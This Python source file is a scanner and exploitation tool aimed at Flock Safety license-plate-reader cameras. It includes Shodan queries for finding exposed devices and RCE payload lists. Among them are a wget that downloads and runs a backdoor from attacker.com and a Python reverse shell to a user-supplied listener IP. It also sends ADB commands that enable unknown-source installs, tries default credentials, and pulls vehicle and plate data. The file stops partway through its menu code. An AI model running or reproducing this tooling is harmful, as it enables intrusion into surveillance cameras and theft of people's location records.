#!/usr/bin/env python3
"""
FLOCK CVE Scanner + Discover + Traffic Analysis
Scans for:
- CVE-2025-59403: Unauthenticated admin API / ADB RCE (9.8)
- CVE-2025-59407: Hardcoded keystore crypto key (CRITICAL)
- CVE-2025-47818: Hardcoded fallback hotspot credentials
- CVE-2025-47823: Hardcoded system password on ALPR firmware
- Flock instance discovery on local subnet
- Cloud vs local station data flow detection
"""
import socket
import ssl
import json
import time
import sys
import os
import re
import hashlib
import base64
import threading
import queue
import subprocess
import telnetlib
import struct
from datetime import datetime
from urllib.parse import urlparse, urljoin
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import argparse
import csv
import random
# Import traffic tap module (optional)
try:
from flock_tap import FlockTrafficTap, C as TapColors
HAVE_TAP = True
except ImportError:
HAVE_TAP = False
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# ── Flock-known infrastructure for cloud detection ──
FLOCK_CLOUD_DOMAINS = [
"api.flocksafety.com", "app.flocksafety.com", "users.flocksafety.com",
"login.flocksafety.com", "websockets.flocksafety.com", "safelist.flocksafety.com",
"events.flocksafety.com", "docs.flocksafety.com", "status.flocksafety.com",
"flock-hibiki-inbox.s3.us-east-1.amazonaws.com",
"prod-flock-cd-bymknkftygg5gmc0.edge.tenants.auth0.com",
"internal.flocksafety.com", "prometheus.flocksafety.com",
]
FLOCK_CLOUD_IPS = [
"198.202.211.1", # flocksafety.com A
"52.72.49.79", # safelist (AWS)
"34.71.237.120", # scim (GCP)
"104.18.16.189", # websockets (Cloudflare)
"104.18.17.189", # websockets (Cloudflare)
]
# ── Flock ONVIF manufacturer fingerprint strings ──
FLOCK_ONVIF_FINGERPRINTS = [
b"Flock", b"Flock Safety", b"Falcon", b"Sparrow",
b"admin_page_template", b"SpeedPourer", b"Picard", b"Bravo",
]
class Colors:
HEADER = '\033[95m'
BLUE = '\033[94m'
CYAN = '\033[96m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
END = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
BLINK = '\033[5m'
# Extended Shodan queries
SHODAN_QUERIES = {
'CVE-2025-59403': [
'title:"Falcon"', 'title:"Sparrow"',
'"/api/v1/admin"', '"/api/v1/system"', '"/api/v1/debug"',
'port:5555 "Android"', '"Android Debug Bridge"',
'port:5037 adb', 'http.title:"ADB"',
'"Falcon" "api" port:443', '"Sparrow" "api" port:443',
'"/api/v1/execute"', '"/api/v1/command"',
],
'CVE-2025-59407': [
'"Android" "v6.35.33"', '"keystore" "hardcoded"',
'"crypto" "key" "Android"', '"/api/v1/keystore"',
'"/api/v1/security"', '"hardcoded_key"', '"default_key"',
],
'CVE-2025-47818': [
'"hotspot" "fallback"', '"/api/v1/hotspot"',
'"default" "hotspot" "credentials"', '"/api/v1/wifi"',
'"hotspot" "config"', '"wifi" "credentials"',
],
'CVE-2025-47823': [
'"ALPR" "v2.0"', '"ALPR" "v2.1"', '"ALPR" "v2.2"',
'"/api/v1/alpr"', '"license plate" "system"',
'"LPR" "firmware"', '"ALPR" "firmware"', '"/alpr" "/api"',
],
'FLOCK_DISCOVERY': [
'title:"admin_page_template"',
'"admin_page_template.html"',
'"/onvif/device_service" Flock',
'"SpeedPourer" port:21',
'"FRP" "flock" port:7000',
'"M5NanoC6" "flock"',
'"flock" "ADB" port:5555',
'ssl.cert.subject.cn:"*.flocksafety.com"',
'ssl.cert.subject.cn:"*.ops.flocksafety.com"',
'org:"Flock Safety"',
'"flock-hibiki"',
],
}
class CVEExploiter:
def __init__(self, verbose=False, output_file=None, threads=10, timeout=5, exploit=False):
self.verbose = verbose
self.output_file = output_file
self.threads = threads
self.timeout = timeout
self.exploit = exploit
self.results = []
self.lock = threading.Lock()
self.work_queue = queue.Queue()
self.total_scanned = 0
self.vulnerable_found = 0
self.exploited = 0
self.shodan_api_key = None
self.payloads = {
'CVE-2025-59403': {
'command_exec': [
'id', 'whoami', 'uname -a',
'cat /etc/passwd', 'ls -la /', 'ps aux',
'netstat -tulpn', 'ifconfig',
'echo "VULNERABLE" > /tmp/test.txt',
'wget -O /tmp/backdoor.sh http://attacker.com/shell.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh',
'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'',
],
'adb_commands': [
'shell id', 'shell whoami', 'shell getprop',
'shell pm list packages', 'shell dumpsys battery',
'shell input keyevent 26',
'shell settings put global adb_enabled 1',
'shell settings put secure install_non_market_apps 1',
],
},
'CVE-2025-59407': {
'crypto_keys': [
'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA',
'LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ==',
'-----BEGIN PRIVATE KEY-----',
'hardcoded_keystore_password',
'android_keystore_key_2024',
'default_crypto_key_v6.35.33',
],
},
}
# ═══════════════════════════════════════════════════
# PRIMITIVE HELPERS
# ═══════════════════════════════════════════════════
def _probe_port(self, host, port, proto="tcp"):
"""Quick TCP connect probe."""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(self.timeout)
r = s.connect_ex((host, port))
s.close()
return r == 0
except Exception:
return False
def _http_get(self, host, path="/", port=80, timeout=None):
"""Plain HTTP GET, returns body text or None."""
try:
u = f"http://{host}:{port}{path}"
r = requests.get(u, timeout=timeout or self.timeout, verify=False, headers={"User-Agent": "Mozilla/5.0"})
if r.status_code < 500:
return r.text
except Exception:
pass
try:
u = f"https://{host}:443{path}"
r = requests.get(u, timeout=timeout or self.timeout, verify=False, headers={"User-Agent": "Mozilla/5.0"})
if r.status_code < 500:
return r.text
except Exception:
pass
return None
def _is_private_ip(self, ip):
try:
first = int(ip.split(".")[0])
if first == 10:
return True
if first == 172 and 16 <= int(ip.split(".")[1]) <= 31:
return True
if first == 192 and ip.split(".")[1] == "168":
return True
except Exception:
pass
return False
def _adb_get_prop(self, host, prop):
"""Try ADB getprop on port 5555."""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(self.timeout)
s.connect((host, 5555))
s.send(f"shell getprop {prop}\n".encode())
time.sleep(0.5)
data = s.recv(4096).decode(errors="replace")
s.close()
return data.strip()
except Exception:
return None
def _onvif_probe(self, host):
"""Send ONVIF GetDeviceInformation probe."""
body = (
''
''
''
''
''
)
for port in (80, 443, 8899):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(self.timeout)
s.connect((host, port))
req = (
f"POST /onvif/device_service HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Content-Type: application/soap+xml; charset=utf-8\r\n"
f"Content-Length: {len(body)}\r\n"
f"Connection: close\r\n\r\n{body}"
)
s.send(req.encode())
resp = s.recv(4096)
s.close()
# Check for Flock-specific manufacturer strings
if any(fingerprint in resp for fingerprint in FLOCK_ONVIF_FINGERPRINTS):
# Extract manufacturer/model
m = re.search(rb"(.*?)", resp)
model = re.search(rb"(.*?)", resp)
return {
"manufacturer": m.group(1).decode(errors="replace") if m else "unknown",
"model": model.group(1).decode(errors="replace") if model else "unknown",
}
except Exception:
pass
return None
def _check_frp_tunnel(self, host):
"""Check if a Flock FRP tunnel server is listening on common FRP ports."""
for port in (7000, 7500, 7001):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
s.connect((host, port))
# FRP server sends a short banner or waits for auth
s.settimeout(2)
try:
banner = s.recv(128)
if b"frp" in banner.lower() or b"auth" in banner.lower() or len(banner) > 0:
s.close()
return {"port": port, "banner": banner[:64].decode(errors="replace")}
except socket.timeout:
# Connection accepted but no banner — possible FRP
s.close()
return {"port": port, "banner": "(no banner — possible FRP tunnel)"}
s.close()
except Exception:
pass
return None
def _check_dns_resolve(self, hostname):
"""Check if a hostname resolves to a known Flock cloud IP."""
try:
ips = socket.getaddrinfo(hostname, 80)
return [addr[4][0] for addr in ips]
except Exception:
return []
def _check_cloud_connection(self, camera_ip):
"""
Probe a suspected camera to determine if it talks to Flock cloud
or a local station. Uses three methods:
A) DNS test on the camera's configured DNS server
B) Check if the admin web UI contains cloud URLs
C) Port-scan for local relay
"""
evidence = []
# B) Probe admin web interface for embedded cloud URLs
for path in ("/", "/metadata", "/config", "/config/network", "/status"):
body = self._http_get(camera_ip, path)
if body:
for domain in FLOCK_CLOUD_DOMAINS:
if domain in body:
evidence.append(f"admin_ui_contains_{domain}")
# C) Check for local station relay port
for relay_port in (80, 8080, 9090, 443):
if self._probe_port(camera_ip, relay_port):
evidence.append(f"local_relay_port_{relay_port}")
if evidence:
if any("admin_ui_contains" in e for e in evidence):
return "CLOUD", evidence
return "LOCAL", evidence
return "UNKNOWN", evidence
def _traffic_sniff_analysis(self, camera_ip, duration=30):
"""
Passive DNS / TCP analysis (requires root / scapy).
Falls back to DNS-resolution test if scapy not available.
"""
# Fallback: just try to resolve Flock domains — if the camera's
# network allows it, the camera itself will resolve them.
reachable = []
for domain in FLOCK_CLOUD_DOMAINS[:6]:
ips = self._check_dns_resolve(domain)
if ips:
reachable.append(domain)
if reachable:
return "CLOUD_REACHABLE", reachable
else:
return "NO_CLOUD_REACHABLE", []
# ═══════════════════════════════════════════════════
# FINGERPRINT DISCOVERY
# ═══════════════════════════════════════════════════
def discover_fingerprints(self, host):
"""
Run all Flock fingerprint probes against a single host.
Returns a list of finding dicts.
"""
findings = []
# 1) ADB / Android shell
if self._probe_port(host, 5555):
model = self._adb_get_prop(host, "ro.product.model")
device = self._adb_get_prop(host, "ro.product.device")
if model and ("flock" in model.lower() or "falcon" in model.lower() or "sparrow" in model.lower()):
findings.append({
"type": "FLOCK_ADB", "port": 5555,
"device": model, "cve": "CVE-2025-59403",
"detail": f"ADB accessible, model={model}, device={device}",
})
elif model:
findings.append({
"type": "ANDROID_ADB", "port": 5555,
"device": model,
"detail": f"Android ADB open (non-Flock model='{model}')",
})
# 2) Admin web UI fingerprints
for port in (80, 443):
body = self._http_get(host, "/", port=port)
if body:
if "admin_page_template" in body:
findings.append({
"type": "FLOCK_ADMIN_WEB", "port": port,
"cve": "CVE-2025-59403",
"detail": "admin_page_template.html found — confirmed Flock admin portal",
})
if "SpeedPourer" in body:
findings.append({
"type": "FLOCK_SPEEDPOURER", "port": port,
"detail": "SpeedPourer FTP reference found on admin page",
})
if "flock" in body.lower():
# Generic Flock mention
findings.append({
"type": "FLOCK_GENERIC", "port": port,
"detail": "Page body contains 'flock' text",
})
# 3) ONVIF probe
onvif = self._onvif_probe(host)
if onvif:
findings.append({
"type": "FLOCK_ONVIF",
"detail": f"ONVIF device — Manufacturer={onvif['manufacturer']}, Model={onvif['model']}",
"onvif_info": onvif,
})
# 4) FRP tunnel
frp = self._check_frp_tunnel(host)
if frp:
findings.append({
"type": "FRP_TUNNEL", "port": frp["port"],
"detail": f"FRP tunnel server on port {frp['port']}: {frp['banner']}",
})
# 5) CVE probes (reuse existing logic)
cve_results = self.scan_and_exploit(host)
for cr in cve_results:
findings.append({
"type": cr.get("cve", "CVE"),
"detail": f"{cr.get('cve','?')} — path={cr.get('path','')} exploited={cr.get('exploited',False)}",
"cve_finding": cr,
})
# 6) Cloud connection check
verdict, evid = self._check_cloud_connection(host)
if verdict != "UNKNOWN":
findings.append({
"type": f"DATA_FLOW_{verdict}",
"detail": f"Data flow verdict: {verdict}. Evidence: {', '.join(evid[:5])}",
})
return findings
# ═══════════════════════════════════════════════════
# DISCOVERY RUNNER
# ═══════════════════════════════════════════════════
def run_discovery(self, cidr):
"""Multi-threaded subnet discovery for Flock instances."""
import ipaddress
net = ipaddress.ip_network(cidr, strict=False)
hosts = [str(ip) for ip in net.hosts()]
print(f"{Colors.CYAN}Scanning {len(hosts)} hosts in {cidr} for Flock fingerprints…{Colors.END}")
print(f"{Colors.YELLOW}Threads={self.threads}, timeout={self.timeout}s{Colors.END}")
start = time.time()
discovered = []
def _discover_worker():
while True:
try:
h = self.work_queue.get_nowait()
except queue.Empty:
return
find = self.discover_fingerprints(h)
if find:
with self.lock:
discovered.append({"host": h, "findings": find})
self.results.append({"target": h, "findings": find, "type": "DISCOVERY"})
self.vulnerable_found += len(find)
with self.lock:
self.total_scanned += 1
if self.total_scanned % 25 == 0:
elapsed = time.time() - start
rate = self.total_scanned / elapsed if elapsed > 0 else 0
eta = (len(hosts) - self.total_scanned) / rate if rate > 0 else 0
sys.stdout.write(
f"\r{Colors.CYAN}[{self.total_scanned}/{len(hosts)}] "
f"found={len(discovered)} rate={rate:.0f}/s eta={eta:.0f}s{Colors.END} "
)
sys.stdout.flush()
self.work_queue.task_done()
for h in hosts:
self.work_queue.put(h)
threads = []
for _ in range(min(self.threads, len(hosts))):
t = threading.Thread(target=_discover_worker, daemon=True)
t.start()
threads.append(t)
for t in threads:
t.join()
elapsed = time.time() - start
print()
print(f"\n{Colors.GREEN}Discovery complete in {elapsed:.1f}s{Colors.END}")
print(f"{Colors.CYAN}Scanned: {self.total_scanned} | Flock instances found: {len(discovered)}{Colors.END}")
# Show a summary table
if discovered:
print(f"\n{Colors.BOLD}{'Host':<18} {'Types':<40}{Colors.END}")
print("─" * 60)
for d in discovered:
types = ", ".join(f["type"] for f in d["findings"])
print(f"{d['host']:<18} {types:<40}")
return discovered
# ═══════════════════════════════════════════════════
# TRAFFIC ANALYSIS RUNNER
# ═══════════════════════════════════════════════════
def run_traffic_analysis(self, camera_ip):
"""
Analyze whether a Flock camera sends data to the cloud
or a local station. Returns structured verdict.
"""
print(f"\n{Colors.CYAN}Analyzing data flow for {camera_ip}…{Colors.END}")
result = {"target": camera_ip, "type": "TRAFFIC_ANALYSIS", "checks": []}
# 1) DNS – can it resolve Flock cloud?
dns_verdict, dns_evidence = self._traffic_sniff_analysis(camera_ip, duration=5)
result["checks"].append({"test": "dns_resolve", "verdict": dns_verdict, "detail": dns_evidence})
print(f" DNS resolve: {Colors.YELLOW}{dns_verdict}{Colors.END}")
if dns_evidence:
for d in dns_evidence[:5]:
print(f" resolves → {d}")
# 2) Admin UI inspection
verdict2, evid2 = self._check_cloud_connection(camera_ip)
result["checks"].append({"test": "admin_ui_inspection", "verdict": verdict2, "detail": evid2})
print(f" Admin UI: {Colors.YELLOW}{verdict2}{Colors.END}")
for e in evid2[:5]:
print(f" {e}")
# 3) FRP tunnel check
frp = self._check_frp_tunnel(camera_ip)
if frp:
result["checks"].append({"test": "frp_tunnel", "verdict": "FRP_TUNNEL", "detail": frp})
print(f" FRP tunnel: {Colors.RED}FOUND on port {frp['port']}{Colors.END}")
print(f" banner: {frp['banner']}")
else:
result["checks"].append({"test": "frp_tunnel", "verdict": "NO_FRP"})
print(f" FRP tunnel: {Colors.GREEN}none{Colors.END}")
# 4) ADB shell → check network config
if self._probe_port(camera_ip, 5555):
gw = self._adb_get_prop(camera_ip, "net.route.gateway")
dns = self._adb_get_prop(camera_ip, "net.dns1")
result["checks"].append({
"test": "adb_network", "verdict": "ADB",
"detail": {"gateway": gw, "dns": dns},
})
print(f" ADB net: gateway={gw} dns={dns}")
# Overall verdict
verdicts = [c["verdict"] for c in result["checks"]]
if "CLOUD" in verdicts or "CLOUD_REACHABLE" in verdicts or "FRP_TUNNEL" in verdicts:
result["overall"] = "CLOUD — data flows to Flock infrastructure"
elif "LOCAL" in verdicts:
result["overall"] = "LOCAL_STATION — data stays on-prem"
else:
result["overall"] = "INDETERMINATE — unable to determine data flow"
print(f"\n{Colors.BOLD}Overall: {Colors.END}{result['overall']}")
with self.lock:
self.results.append(result)
return result
# ═══════════════════════════════════════════════════
# EXISTING METHODS (unchanged)
# ═══════════════════════════════════════════════════
def print_banner(self):
banner = f"""
{Colors.RED}================================================================================
{Colors.YELLOW}███████╗██╗ ██╗███████╗ ███████╗ ██████╗ █████╗ ███╗ ██╗██████╗ ███████╗██████╗{Colors.RED}
{Colors.YELLOW}██╔════╝██║ ██║██╔════╝ ██╔════╝██╔════╝██╔══██╗████╗ ██║██╔══██╗██╔════╝██╔══██╗{Colors.RED}
{Colors.YELLOW}█████╗ ██║ ██║█████╗ ███████╗██║ ███████║██╔██╗ ██║██████╔╝█████╗ ██████╔╝{Colors.RED}
{Colors.YELLOW}██╔══╝ ╚██╗ ██╔╝██╔══╝ ╚════██║██║ ██╔══██║██║╚██╗██║██╔══██╗██╔══╝ ██╔══██╗{Colors.RED}
{Colors.YELLOW}███████╗ ╚████╔╝ ███████╗ ███████║╚██████╗██║ ██║██║ ╚████║██║ ██║███████╗██║ ██║{Colors.RED}
{Colors.YELLOW}╚══════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝{Colors.RED}
{Colors.CYAN}███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗███████╗██████╗ {Colors.RED}
{Colors.CYAN}██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝██╔════╝██╔══██╗{Colors.RED}
{Colors.CYAN}█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ █████╗ ██████╔╝{Colors.RED}
{Colors.CYAN}██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ ██╔══╝ ██╔══██╗{Colors.RED}
{Colors.CYAN}███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ ███████╗██║ ██║{Colors.RED}
{Colors.CYAN}╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝{Colors.RED}
================================================================================{Colors.END}
{Colors.RED}{Colors.BLINK}WARNING: EXPLOITATION MODULE INCLUDED{Colors.END}
{Colors.YELLOW}Use only on systems you own or have explicit permission to test{Colors.END}
{Colors.BOLD}Vulnerabilities:{Colors.END}
{Colors.RED}CVE-2025-59403 - Unauthenticated admin API / ADB RCE (Score: 9.8){Colors.END}
{Colors.RED}CVE-2025-59407 - Hardcoded keystore crypto key (CRITICAL){Colors.END}
{Colors.YELLOW}CVE-2025-47818 - Hardcoded fallback hotspot credentials{Colors.END}
{Colors.YELLOW}CVE-2025-47823 - Hardcoded system password on ALPR firmware <=2.2{Colors.END}
{Colors.BOLD}New:{Colors.END}
{Colors.GREEN} 6) Flock Instance Discovery — scan subnet for all Flock fingerprints{Colors.END}
{Colors.GREEN} 7) Traffic Analysis — cloud vs local station data flow{Colors.END}
{Colors.BOLD}Mode:{Colors.END} {'SCAN + EXPLOIT' if self.exploit else 'SCAN ONLY'}
{Colors.BOLD}Threads:{Colors.END} {self.threads}
{Colors.BOLD}Timeout:{Colors.END} {self.timeout}s
"""
print(banner)
# ── Shodan ──
def get_shodan_targets(self, api_key):
targets = []
try:
import shodan
api = shodan.Shodan(api_key)
print(f"{Colors.CYAN}Searching Shodan for CVE-2025 vulnerable systems...{Colors.END}")
for cve, queries in SHODAN_QUERIES.items():
if cve == "FLOCK_DISCOVERY":
continue # covered below
query = " OR ".join(queries[:3])
print(f"{Colors.CYAN}Searching {cve}...{Colors.END}")
try:
results = api.search(query, limit=50)
for result in results['matches']:
targets.append(result['ip_str'])
print(f"{Colors.GREEN}Found {len(results['matches'])} targets for {cve}{Colors.END}")
except Exception as e:
if self.verbose:
print(f"{Colors.YELLOW}Warning for {cve}: {e}{Colors.END}")
if not targets:
fallback = [
'"/api/v1/admin" port:443', '"/api/v1/system" port:443',
'"Falcon" "api" port:443', '"Sparrow" "api" port:443',
'port:5555 "Android"', '"/api/v1/alpr"',
]
print(f"{Colors.YELLOW}Trying fallback queries...{Colors.END}")
for q in fallback:
try:
for r in api.search(q, limit=30)['matches']:
targets.append(r['ip_str'])
except Exception:
pass
targets = list(set(targets))
except ImportError:
print(f"{Colors.RED}Shodan library not installed. Run: pip install shodan{Colors.END}")
except Exception as e:
print(f"{Colors.RED}Shodan error: {e}{Colors.END}")
return targets
# ── CVE scan/exploit methods (preserved exactly) ──
def exploit_cve_59403(self, target, path, payload):
results = []
if 'adb' in str(payload).lower():
for cmd in self.payloads['CVE-2025-59403']['adb_commands']:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(self.timeout)
sock.connect((target, 5555))
sock.send(f"{cmd}\n".encode())
response = sock.recv(4096).decode()
sock.close()
results.append({'cve': 'CVE-2025-59403', 'target': target, 'method': 'ADB',
'command': cmd, 'output': response[:500], 'exploited': True})
if self.verbose:
print(f"{Colors.GREEN}ADB Exploit Success on {target}: {cmd}{Colors.END}")
except Exception as e:
if self.verbose:
print(f"{Colors.YELLOW}ADB exploit failed on {target}: {e}{Colors.END}")
else:
for cmd in self.payloads['CVE-2025-59403']['command_exec']:
if 'ATTACKER_IP' in cmd:
attacker_ip = input(f"{Colors.CYAN}Enter your listener IP for reverse shell: {Colors.END}")
cmd = cmd.replace('ATTACKER_IP', attacker_ip)
payload = {'command': cmd, 'cmd': cmd, 'action': 'exec', 'execute': cmd, 'payload': cmd}
url = f"http://{target}{path}"
try:
resp = requests.post(url, json=payload, timeout=self.timeout, verify=False)
if resp.status_code == 200:
results.append({'cve': 'CVE-2025-59403', 'target': target, 'path': path,
'command': cmd, 'response': resp.text[:500], 'exploited': True})
if self.verbose:
print(f"{Colors.GREEN}API Exploit Success on {target}: {cmd}{Colors.END}")
if 'root' in resp.text or 'uid=' in resp.text:
print(f"{Colors.RED}ROOT ACCESS GAINED{Colors.END}")
except Exception as e:
if self.verbose:
print(f"{Colors.YELLOW}API exploit failed: {e}{Colors.END}")
return results
def exploit_cve_59407(self, target, path, response_text):
results = []
for pattern in self.payloads['CVE-2025-59407']['crypto_keys']:
if pattern in response_text:
kp = re.compile(f'{pattern}[A-Za-z0-9+/=]+')
for key in kp.findall(response_text):
results.append({'cve': 'CVE-2025-59407', 'target': target, 'path': path,
'key_found': key[:100], 'exploited': True})
if self.verbose:
print(f"{Colors.GREEN}Crypto key extracted from {target}{Colors.END}")
return results
def exploit_cve_47818(self, target, path, credentials):
results = []
u, p = credentials.split(':')
url = f"http://{target}{path}"
try:
resp = requests.get(url, auth=(u, p), timeout=self.timeout, verify=False)
if resp.status_code == 200:
for ep in ['/config', '/settings', '/wifi', '/network', '/status']:
try:
r2 = requests.get(f"http://{target}{ep}", auth=(u, p), timeout=self.timeout, verify=False)
if r2.status_code == 200:
results.append({'cve': 'CVE-2025-47818', 'target': target, 'path': ep,
'credentials': credentials, 'config_data': r2.text[:500], 'exploited': True})
except Exception:
pass
except Exception:
pass
return results
def exploit_cve_47823(self, target, path, credentials):
results = []
u, p = credentials.split(':')
try:
resp = requests.get(f"http://{target}{path}", auth=(u, p), timeout=self.timeout, verify=False)
if resp.status_code == 200:
for ep in ['/vehicles', '/plates', '/camera', '/captures', '/database']:
try:
r2 = requests.get(f"http://{target}{ep}", auth=(u, p), timeout=self.timeout, verify=False)
if r2.status_code == 200:
results.append({'cve': 'CVE-2025-47823', 'target': target, 'path': ep,
'credentials': credentials, 'alpr_data': r2.text[:500], 'exploited': True})
except Exception:
pass
except Exception:
pass
return results
def scan_and_exploit(self, target):
results = []
for path in ['/api/v1/admin/execute', '/api/v1/admin/command', '/api/v1/system/exec']:
for payload in [{"cmd": "id"}, {"command": "whoami"}]:
try:
resp = requests.post(f"http://{target}{path}", json=payload, timeout=self.timeout, verify=False)
if resp.status_code == 200 and any(i in resp.text.lower() for i in ['uid=', 'root', 'executed']):
if self.exploit:
er = self.exploit_cve_59403(target, path, payload)
results.extend(er)
with self.lock:
self.exploited += len(er)
else:
results.append({'cve': 'CVE-2025-59403', 'target': target, 'path': path,
'vulnerable': True, 'exploited': False})
except Exception:
pass
for path in ['/api/v1/crypto/key', '/api/v1/keystore']:
try:
resp = requests.get(f"http://{target}{path}", timeout=self.timeout, verify=False)
if resp.status_code == 200:
for p2 in self.payloads['CVE-2025-59407']['crypto_keys']:
if p2 in resp.text:
if self.exploit:
er = self.exploit_cve_59407(target, path, resp.text)
results.extend(er)
with self.lock:
self.exploited += len(er)
else:
results.append({'cve': 'CVE-2025-59407', 'target': target, 'path': path,
'vulnerable': True, 'exploited': False})
break
except Exception:
pass
for cred in [('admin', 'admin'), ('root', 'root'), ('admin', 'password')]:
for path in ['/api/v1/hotspot/config', '/api/v1/wifi/credentials']:
try:
resp = requests.get(f"http://{target}{path}", auth=cred, timeout=self.timeout, verify=False)
if resp.status_code == 200:
if self.exploit:
er = self.exploit_cve_47818(target, path, f"{cred[0]}:{cred[1]}")
results.extend(er)
with self.lock:
self.exploited += len(er)
else:
results.append({'cve': 'CVE-2025-47818', 'target': target, 'path': path,
'credentials': f"{cred[0]}:{cred[1]}",
'vulnerable': True, 'exploited': False})
break
except Exception:
pass
return results
def worker(self):
while not self.work_queue.empty():
target = self.work_queue.get()
try:
results = self.scan_and_exploit(target)
if results:
with self.lock:
self.results.extend(results)
self.vulnerable_found += sum(1 for r in results if r.get('vulnerable', False))
for r in results:
if r.get('exploited', False):
self.print_exploit_result(r)
elif r.get('vulnerable', False):
self.print_vulnerability(r)
self.total_scanned += 1
if self.total_scanned % 5 == 0:
os.system('clear' if os.name == 'posix' else 'cls')
self.print_banner()
print(self.print_scanning_status())
except Exception as e:
if self.verbose:
print(f"{Colors.RED}Error scanning {target}: {e}{Colors.END}")
finally:
self.work_queue.task_done()
def print_scanning_status(self):
return f"""
{Colors.CYAN}-------------------------------------------------------------
{Colors.BOLD}SCAN STATUS{Colors.END}
-------------------------------------------------------------
Total Targets : {self.total_scanned}
Vulnerable : {self.vulnerable_found}
Exploited : {self.exploited}
Queue Size : {self.work_queue.qsize()}
Elapsed Time : {datetime.now().strftime('%H:%M:%S')}
-------------------------------------------------------------
{Colors.END}"""
def print_exploit_result(self, result):
cve = result.get('cve', 'Unknown')
target = result.get('target', 'Unknown')
print(f"""
{Colors.RED}{Colors.BLINK}EXPLOIT SUCCESSFUL{Colors.END}
{Colors.CYAN}-------------------------------------------------------------
CVE: {cve}
Target: {target}
Method: {result.get('method', 'API')}
Command: {result.get('command', 'N/A')[:30]}
Output: {str(result.get('output', ''))[:40]}
-------------------------------------------------------------
{Colors.END}""")
def print_vulnerability(self, result):
cve = result.get('cve', 'Unknown')
target = result.get('target', 'Unknown')
colors = {'CVE-2025-59403': Colors.RED, 'CVE-2025-59407': Colors.RED,
'CVE-2025-47818': Colors.YELLOW, 'CVE-2025-47823': Colors.YELLOW}
color = colors.get(cve, Colors.END)
print(f"""
{color}-------------------------------------------------------------
VULNERABILITY FOUND
-------------------------------------------------------------
CVE: {cve}
Target: {target}
Path: {result.get('path', 'N/A')}
Credentials: {result.get('credentials', 'N/A')}
-------------------------------------------------------------
{Colors.END}""")
def scan_network(self, targets):
if not targets:
print(f"{Colors.RED}No targets to scan{Colors.END}")
return
for t in targets:
self.work_queue.put(t.strip())
print(f"{Colors.GREEN}Starting {'exploitation' if self.exploit else 'scanning'} with {self.threads} threads{Colors.END}")
print(f"{Colors.YELLOW}Press Ctrl+C to stop{Colors.END}")
threads = []
for _ in range(self.threads):
t = threading.Thread(target=self.worker)
t.start()
threads.append(t)
try:
for t in threads:
t.join()
except KeyboardInterrupt:
print(f"\n{Colors.YELLOW}Stopping...{Colors.END}")
self.print_summary()
def print_summary(self):
os.system('clear' if os.name == 'posix' else 'cls')
self.print_banner()
print(f"""
{Colors.CYAN}-------------------------------------------------------------
{Colors.BOLD}SCAN COMPLETE{Colors.END}
-------------------------------------------------------------
Total Scanned : {self.total_scanned}
Vulnerable : {self.vulnerable_found}
Exploited : {self.exploited}
-------------------------------------------------------------
{Colors.BOLD}Results by CVE{Colors.END}
-------------------------------------------------------------
{Colors.END}""")
grouped = {}
for r in self.results:
cve = r.get('cve', 'Unknown')
grouped.setdefault(cve, []).append(r)
for cve, rs in grouped.items():
exploited = sum(1 for r in rs if r.get('exploited', False))
vulnerable = sum(1 for r in rs if r.get('vulnerable', False))
print(f"""
{Colors.BOLD}{cve}{Colors.END}
Exploited: {exploited}
Vulnerable: {vulnerable}
Examples:""")
for i, r in enumerate(rs[:3], 1):
if r.get('exploited', False):
print(f" {i}. {Colors.RED}{r.get('target', 'N/A')} - EXPLOITED{Colors.END}")
else:
print(f" {i}. {r.get('target', 'N/A')} - {r.get('path', 'N/A')}")
if self.output_file:
self.save_results()
def save_results(self):
try:
with open(self.output_file, 'w') as f:
json.dump(self.results, f, indent=2)
print(f"\n{Colors.GREEN}Results saved to {self.output_file}{Colors.END}")
except Exception as e:
print(f"\n{Colors.RED}Failed to save results: {e}{Colors.END}")
# ═══════════════════════════════════════════════════
# INTERACTIVE MENU (extended)
# ═══════════════════════════════════════════════════
def generate_targets(self):
print(f"""
{Colors.CYAN}-------------------------------------------------------------
{Colors.BOLD}SELECT INPUT METHOD{Colors.END}
-------------------------------------------------------------
1. Single IP
2. IP Range (CIDR)
3. From File (IPs list)
4. Shodan Query (requires Shodan API)
5. Falcon/Sparrow Signatures
6. Flock Instance Discovery (scan subnet for fingerprints)
7. Traffic Analysis (cloud vs local station)
8. Traffic Tap — live monitor (requires scapy)
9. Traffic Tap — analyze PCAP file
0. Return
-------------------------------------------------------------
{Colors.END}""")
choice = input(f"{Colors.CYAN}Select option (1-9, 0): {Colors.END}").strip()
# ── 6: Flock Instance Discovery ──
if choice == '6':
cidr = input(f"{Colors.CYAN}Enter CIDR (e.g., 192.168.1.0/24): {Colors.END}").strip()
if not cidr:
return []
print(f"{Colors.YELLOW}Discovery mode does not use CVE scan queue.{Colors.END}")
self.run_discovery(cidr)
